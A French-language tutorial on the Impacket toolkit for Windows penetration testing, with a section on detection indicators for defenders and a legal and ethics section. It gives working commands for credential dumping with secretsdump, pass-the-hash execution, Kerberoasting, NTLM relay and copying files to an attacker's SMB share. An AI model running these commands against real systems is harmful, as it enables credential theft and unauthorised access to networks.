Comment Utiliser Impacket : Les 8 Scripts Indispensables

Qu'est-ce qu'Impacket ?

Impacket est une collection open source de classes Python permettant de travailler avec les protocoles réseau, accompagnée de scripts d'exemple qui utilisent ces classes pour dialoguer avec des systèmes Windows. MITRE ATT&CK le référence sous le nom de software S0357 et le décrit comme contenant des outils d'exécution de services à distance, de manipulation Kerberos, d'extraction d'identifiants Windows, de capture de paquets et d'attaques par relais.

Ce que l'on oublie souvent, c'est l'ordre de ces deux moitiés. Impacket est d'abord une bibliothèque. Les scripts du dossier examples/ ont été écrits pour démontrer cette bibliothèque, d'où leur aspect moins fini qu'un produit commercial : majuscules incohérentes, pas de page d'aide unifiée, des noms comme GetNPUsers.py voisinant avec psexec.py. Acceptez ces aspérités et vous obtenez quelque chose qu'aucun outil commercial n'égale : une implémentation fonctionnelle de SMB, MSRPC, LDAP, Kerberos, MSSQL et DCOM que vous pouvez lire, scripter et modifier.

Le projet a été créé à l'origine par SecureAuth et il est aujourd'hui maintenu par l'équipe Core Security de Fortra. La couverture protocolaire annoncée dans le README va d'Ethernet brut et d'IPv6 jusqu'à SMB1, SMB2 et SMB3, MSRPC sur quatre transports, et une partie de TDS et de LDAP. C'est pour cela que ces scripts font des choses qu'un outil natif Windows exigerait une machine jointe au domaine pour tenter.

Une image qui aide les débutants : Nmap vous dit qu'un hôte Windows existe, Impacket vous permet d'avoir une conversation avec lui. Rien dans cette boîte à outils ne trouve de vulnérabilités à votre place. Elle s'authentifie, elle pose des questions, elle exécute, et tout cela suppose que vous avez déjà de quoi vous authentifier.

Installer Impacket sans casser votre Python

La recommandation officielle a changé il y a quelques années et la plupart des tutoriels ne l'ont jamais rattrapée. Le README indique désormais d'utiliser pipx plutôt que pip pour une installation système, parce que pipx donne au projet son propre environnement virtuel au lieu de déverser trente dépendances dans le Python du système :

python3 -m pipx install impacket

Si cette commande renvoie error: externally-managed-environment, c'est que vous avez lancé pip et non pipx sur une version récente de Debian, Ubuntu ou Kali. Cette erreur est la protection de Python sur les paquets dont dépend votre système d'exploitation, et la solution est pipx, pas --break-system-packages.

Sur Kali, Impacket est déjà présent. Le paquet Kali s'appelle python3-impacket, en version 0.13.0 actuellement, et il installe les scripts sous des noms différents de ceux qu'utilisent tous les tutoriels :

sudo apt update && sudo apt install python3-impacket
impacket-secretsdump -h

Kali supprime l'extension .py et ajoute un préfixe impacket- : secretsdump.py devient impacket-secretsdump, wmiexec.py devient impacket-wmiexec et samrdump.py devient impacket-samrdump. Quand une commande tirée d'un walkthrough échoue avec command not found, essayez le nom préfixé avant de conclure que quelque chose est cassé. Tapez impacket- puis deux fois sur la touche tabulation pour lister tous les scripts dont vous disposez.

Un Dockerfile officiel est aussi fourni dans le dépôt si vous préférez garder la boîte à outils hors de votre machine :

docker build -t "impacket:latest" .
docker run -it --rm "impacket:latest"

Un mot sur les versions. La branche master porte l'étiquette 0.14.0-dev, prend en charge Python 3.9 à 3.13, et embarque régulièrement des scripts et des correctifs absents de la version stable. Installez d'abord la stable. Ne passez sur master que lorsqu'une technique précise l'exige, en sachant que vous exécutez alors du code qui n'est pas passé par un cycle de publication.

La chaîne de cible commune à tous les scripts Impacket

Voici la section qui vous épargnera une soirée entière. Presque tous les scripts acceptent leur cible dans un seul format, écrit à l'identique dans l'aide de chacun :

[[domain/]username[:password]@]<targetName or address>

Les crochets signifient « facultatif », ce qui explique pourquoi le même argument prend des allures si différentes d'un tutoriel à l'autre. Ces quatre formes sont toutes valides :

• ACME.example/dana:[email protected] pour une connexion de domaine complète
• [email protected] pour s'authentifier comme compte local et se faire demander le mot de passe
• ACME.example/[email protected] quand vous préférez passer par un hash ou un ticket
• 192.0.2.20 seul, pour la poignée de scripts qui acceptent une session anonyme

Trois règles évitent que cela gâche votre soirée. Encadrez systématiquement l'argument entier de guillemets simples, car un mot de passe contenant ! déclenche l'expansion d'historique dans bash et un mot de passe contenant @ coupe la chaîne au mauvais endroit. Omettez complètement le mot de passe et laissez le script vous le demander, ce qui règle les deux problèmes et garde le mot de passe hors de l'historique du shell. Et retenez que la valeur avant la barre oblique est le domaine, pas le nom d'hôte : c'est la confusion numéro un chez les débutants.

Mots de passe, hashs et tickets

Impacket propose trois façons de s'authentifier, avec des options identiques d'un script à l'autre :

Les comptes Windows modernes n'ont pas de hash LM : la moitié gauche est donc la constante LM vide aad3b435b51404eeaad3b435b51404ee. Collez la paire exactement comme secretsdump.py l'a affichée et ce sera juste. En pratique, -dc-ip est l'option que vous oublierez le plus souvent : les opérations Kerberos et LDAP doivent joindre un contrôleur de domaine par son nom, et votre machine Linux n'a aucune idée de ce que ACME.example résout tant que vous ne le lui dites pas.

Les 8 scripts Impacket dont vous avez vraiment besoin

Le dossier examples de la branche master contient environ 70 scripts. Vous en utiliserez huit sur presque chaque mission et chaque machine de CTF, les autres étant des spécialistes que l'on va chercher quand la situation l'exige.

secretsdump.py : celui que tout le monde a en tête

Sa propre description annonce qu'il « applique diverses techniques pour extraire des secrets de la machine distante sans y exécuter le moindre agent », et c'est la fin de la phrase qui compte. Avec des droits d'administrateur local, il se connecte en SMB, lit les ruches de la base de registre et renvoie des hashs :

secretsdump.py 'ACME.example/dana:[email protected]'

Vous obtenez trois blocs : les hashs SAM des comptes locaux, les secrets LSA avec les connexions de domaine en cache et tout mot de passe de compte de service stocké en clair, et sur un contrôleur de domaine la base NTDS complète. Face à un DC, ciblez plutôt que de déverser tout l'annuaire dans votre terminal :

secretsdump.py -just-dc-user krbtgt 'ACME.example/[email protected]'
secretsdump.py -just-dc-ntlm -outputfile acme_hashes 'ACME.example/[email protected]'

Il analyse également des ruches déjà récupérées, ce qui est la variante utile quand vous avez accès aux fichiers mais aucun compte fonctionnel :

secretsdump.py -sam SAM -system SYSTEM LOCAL

Ce LOCAL final n'est pas une valeur à remplacer. Il indique au script de travailler hors ligne au lieu de se connecter où que ce soit.

wmiexec.py, psexec.py et le reste de la famille exécution

Cinq scripts vous donnent l'exécution de commandes et ne diffèrent que par le mécanisme Windows détourné. psexec.py téléverse un binaire et crée un service Windows, ce qui donne un shell SYSTEM vraiment interactif et laisse la trace la plus évidente. wmiexec.py lance chaque commande via WMI dans un processus séparé, d'où le qualificatif de semi-interactif : vous ne pouvez pas faire cd et espérer que la commande suivante s'en souvienne. smbexec.py crée lui aussi un service, atexec.py enregistre une tâche planifiée et dcomexec.py passe par DCOM.

wmiexec.py 'ACME.example/dana:[email protected]'
wmiexec.py -shell-type powershell 'ACME.example/[email protected]' -hashes ':13b29964cc2480b4ef454c59562e675c'

Mon conseil : prenez wmiexec.py en premier et gardez psexec.py pour les cas où il vous faut une vraie session interactive ou SYSTEM précisément. Les cinq exigent des droits d'administrateur local sur la cible. Si l'un échoue sur une erreur d'accès et qu'un autre passe avec les mêmes identifiants, c'est une différence de services actifs et de durcissement de l'hôte, pas un bug.

smbclient.py et smbserver.py : le duo ennuyeux qui vous sauve

smbclient.py ouvre une invite interactive où shares, use C$, ls et get font ce que vous attendez. Aucun droit d'administration n'est requis au-delà d'un accès en lecture, et un partage lisible est précisément l'endroit où un test interne se transforme en constat : scripts de déploiement avec identifiants en dur, dossier informatique plein de tableurs, sauvegarde que personne n'a auditée depuis la mise en service du serveur.

smbserver.py est celui que les débutants ignorent et que les testeurs expérimentés utilisent en permanence. Il transforme un dossier de votre machine Linux en partage SMB, si bien que l'hôte Windows peut vous copier des fichiers avec une commande native, sans second outil :

smbserver.py -smb2support share /tmp/loot

Côté Windows, cela donne copy file.zip \\192.0.2.5\share\. Mettez -smb2support à chaque fois, car Windows refuse SMB1 par défaut et la panne ressemble alors à un problème réseau plutôt qu'à une incompatibilité de protocole.

GetUserSPNs.py et GetNPUsers.py : des hashs à partir de rien

Ces deux scripts expliquent pourquoi un simple compte de domaine peu privilégié vaut si cher. Le Kerberoasting demande un ticket de service pour tout compte disposant d'un Service Principal Name, puis le casse hors ligne, car une partie de ce ticket est chiffrée avec le hash du mot de passe du compte de service.

GetUserSPNs.py -request -dc-ip 192.0.2.10 -outputfile spns.txt 'ACME.example/dana'

La sortie contient des hashs Kerberos 5 TGS-REP dans un format que les deux outils de cassage comprennent : mode hashcat 13100 pour la variante RC4, 19600 et 19700 pour les variantes AES. Les mots de passe des comptes de service sont définis une fois à l'installation et rarement renouvelés, et c'est exactement pour cela que l'attaque fonctionne encore.

L'AS-REP roasting en est le cousin plus discret. Les comptes configurés avec « ne pas exiger la préauthentification Kerberos » livrent un bloc cassable à qui le demande, sans aucun mot de passe :

GetNPUsers.py -usersfile users.txt -dc-ip 192.0.2.10 -no-pass 'ACME.example/'

Ces hashs correspondent au mode hashcat 18200. Les deux attaques produisent une matière inutile tant qu'elle n'est pas cassée, donc la suite du travail se trouve dans notre guide Hashcat, et le chapitre Kerberoasting détaille ce que fait vraiment le contrôleur de domaine quand il répond.

ntlmrelayx.py : s'authentifier sans rien casser

ntlmrelayx.py prend une tentative d'authentification NTLM qui vous est adressée et la transmet à un troisième hôte qui l'acceptera. Pas de mot de passe, pas de hash, pas de cassage. On l'associe en général à un outil qui provoque cette authentification, et c'est la raison concrète pour laquelle la signature SMB existe comme réglage.

ntlmrelayx.py -tf targets.txt -smb2support --no-http-server

Traitez celui-ci comme la pointe acérée de la boîte à outils. Il touche des machines autres que celle que vous avez désignée, ce qui rend la discipline de périmètre non négociable : une liste de cibles de relais avec une seule ligne de trop atteint un hôte que personne ne vous a autorisé à toucher. Comprenez ce que fait le protocole avant de le lancer sur du réel, pas après.

Un enchaînement réaliste sur un hôte Windows

Les commandes isolées sont faciles à collectionner et difficiles à ordonner. Voici l'ordre dans lequel ces scripts sortent réellement, en partant d'un jeu d'identifiants de domaine valides :

1. Vérifiez que les identifiants fonctionnent. smbclient.py sur la cible vous dit immédiatement si l'authentification passe et ce que vous pouvez lire.
2. Énumérez le domaine. samrdump.py et lookupsid.py renvoient utilisateurs, groupes et RID, ce qui vous donne la liste de comptes dont les scripts de roasting ont besoin.
3. Récoltez les hashs gratuits. GetUserSPNs.py -request et GetNPUsers.py ne coûtent rien et terminent parfois la machine à eux seuls.
4. Cassez hors ligne pendant que vous continuez. Lancez Hashcat dans un autre terminal. Ne restez pas à le regarder.
5. Testez les nouveaux identifiants pour l'administration locale. wmiexec.py qui rend une invite est votre réponse.
6. Extrayez puis rebondissez. secretsdump.py sur cet hôte, puis réutilisez le hash de l'administrateur local sur ses voisins avec -hashes.

C'est à l'étape six que la réutilisation des mots de passe décide de la mission. Un mot de passe d'administrateur local partagé par tout un parc de postes transforme un seul hash récupéré en accès généralisé, et ce schéma se répète dans des organisations de toutes tailles. Notre guide sur NetExec, le successeur de CrackMapExec, couvre le balayage qui vous dit jusqu'où porte un hash donné. Les deux outils se complètent naturellement : NetExec répond « où est-ce que ça marche », Impacket répond « qu'est-ce que je peux y faire ».

Cinq erreurs que vous rencontrerez dès la première heure

Aucune ne signifie que vous avez raté l'attaque. Ce sont les aspérités de la boîte à outils, et les reconnaître au premier coup d'œil constitue l'essentiel de la courbe d'apprentissage.

• command not found. Sur Kali le script s'appelle impacket-secretsdump, pas secretsdump.py. Après une installation par pipx, ouvrez un nouveau shell pour que le PATH mis à jour soit pris en compte.
• STATUS_LOGON_FAILURE avec un mot de passe dont vous êtes sûr. Votre shell a mangé un caractère. Encadrez toute la chaîne de cible de guillemets simples, ou omettez le mot de passe et laissez le script vous le demander.
• rpc_s_access_denied ou STATUS_ACCESS_DENIED après une connexion réussie. L'authentification a marché, pas l'autorisation. Le compte est valide mais n'est pas administrateur local sur cet hôte, ce qui est un constat sur le compte et non une erreur.
• KRB_AP_ERR_SKEW(Clock skew too great). Kerberos rejette les tickets dès que les horloges divergent de plus de cinq minutes. Synchronisez votre machine sur le contrôleur de domaine avec sudo ntpdate 192.0.2.10 puis relancez.
• Tout se fige, puis expire. Votre machine ne sait pas résoudre le nom du domaine. Ajoutez -dc-ip, ou inscrivez le contrôleur de domaine dans /etc/hosts avec son nom court et son FQDN.

Une habitude à prendre tôt : ajoutez -ts à chaque commande. Elle préfixe chaque ligne de sortie d'un horodatage, ce qui transforme un défilement de terminal en quelque chose que vous pourrez aligner sur les journaux du client quand il vous demandera ce que vous faisiez à 14h32.

Ce qu'Impacket donne à voir aux défenseurs

Quiconque lance cette boîte à outils sur une mission doit savoir à quel point elle est visible, et quiconque défend un réseau Windows doit savoir ce que ces scripts laissent derrière eux. Les deux camps peuvent lire la même fiche MITRE ATT&CK, qui associe Impacket à l'extraction d'identifiants (T1003), au vol de tickets Kerberos (T1558), à l'exécution via WMI (T1047), aux services système (T1569) et au relais de type adversary-in-the-middle (T1557).

• Création de service. psexec.py et smbexec.py créent un service Windows pour exécuter leur charge. L'événement 7045 sur un poste de travail n'a presque aucune explication légitime.
• Tâches planifiées éphémères. atexec.py enregistre une tâche, l'exécute, puis la supprime. Une tâche qui apparaît et disparaît en quelques secondes est un indicateur fort.
• Demandes de tickets de service en masse. Un compte ordinaire qui demande des tickets pour tous les SPN du domaine fait du Kerberoasting, et l'événement 4769 le capte dès que quelqu'un regarde.
• Réplication d'annuaire depuis le mauvais endroit. Un dump de type DCSync avec -just-dc fait qu'un poste de travail demande à un contrôleur de domaine de répliquer l'annuaire. Rien d'autre qu'un autre DC ne devrait faire cela.

Les produits de sécurité des postes détectent ces scripts par leur nom. Sur une mission réelle, attendez-vous à des alertes. C'est le résultat correct dans un environnement protégé, et un test qui traverse un réseau mature sans rien déclencher signale d'ordinaire une pile de détection mal configurée, ce qui mérite en soi d'être écrit dans le rapport.

Considérations légales et éthiques

Le README du projet est direct sur ce point : le code est publié à des fins de recherche et d'éducation. Le lancer contre une infrastructure qui ne vous appartient pas et que vous n'avez pas été mandaté pour tester n'est pas de la recherche, et les tentatives échouées sont de toute façon journalisées avec votre adresse source.

Où c'est légitime

• Un domaine de laboratoire monté chez vous à partir de versions d'évaluation de Windows Server, sur du matériel qui vous appartient
• Les missions couvertes par un document de périmètre signé nommant les plages cibles et les comptes utilisables
• Les réseaux que vous administrez, avec l'accord documenté de votre employeur
• Les environnements d'entraînement dédiés et les plateformes de CTF

Les attaques par relais méritent leur propre ligne ici. ntlmrelayx.py agit sur des hôtes autres que celui de votre commande, si bien qu'un fichier de cibles copié depuis un article peut atteindre une machine qui n'a jamais été dans le périmètre. Relisez votre liste de cibles à voix haute avant d'appuyer sur entrée.

Questions fréquentes